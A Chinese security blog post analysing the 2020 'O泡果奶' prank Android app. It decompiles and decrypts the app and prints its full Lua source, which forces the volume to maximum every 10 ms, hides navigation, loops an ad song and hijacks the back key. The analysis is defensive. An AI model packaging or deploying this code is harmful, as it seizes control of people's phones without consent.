4000-618-418

“O泡果奶”事件分析(O泡果奶恶作剧)

2020年10月24日

10月14日左右似乎全国高校课堂都出现了O泡果奶声音,这个魔性的文件名字是叫一份礼物.apk,但是只要发送给别人安装之后,打开就会立马大声播放o泡果奶的洗脑广告。

1.png

该事件在知乎热搜榜排到第10名。


安全分析

反编译

使用apktool box对软件进行反编译得到如下文件

2.png

3.png

源码解密

通过分析AndroidManifest.xml没发现什么恶意内容

4.png

assets目录下存放了软件核心文件

5.png

打开main.lua文件时乱码,因为作者在开发时对lua进行加密,通过两次解密拿到源码。

6.png

第一次解密完还是乱码状态。

7.png

第二次使用 LuadcGUI进行解密

8.png

9.png

源码分析

源码注释分析

require("import")

import("android.app.*")

import("android.os.*")

import("android.widget.*")

import("android.view.*")

import("android.view.View")

import("android.content.Context")

import("android.media.MediaPlayer") //播放器

import("android.media.AudioManager") //音量控制模块

import("com.androlua.Ticker") //定时触发

activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)

activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)

m = MediaPlayer()

m.reset()

m.setDataSource(activity.getLuaDir() .. "/mc.mp3") //加载mc.mp3因为文件(O泡果奶音乐)

m.prepare()

m.start()

m.setLooping(true)

ti = Ticker()

ti.Period = 10 //间隔10ms触发

function ti.onTick()

activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)

activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)

end

ti.start()

function onKeyDown(A0_0, A1_1) //劫持按键

if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then //劫持返回按键

activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) //声音调大最大

end

return true

end

通过以上分析可以看出软件安装打开后,只要程序不推出就会一直播放O泡因为,关机键失灵、减音量键也失灵。

安全小提示

1、不清楚来路的软件不要装

2、软件安装到正规软件商城安装

3、提醒大家保护个人信息,不点、不传播不知名链接。


上一篇:云原生安全模型与实践(云安全原理与实践)

下一篇:Windows XP系统和Windows Server 2003系统源代码遭泄露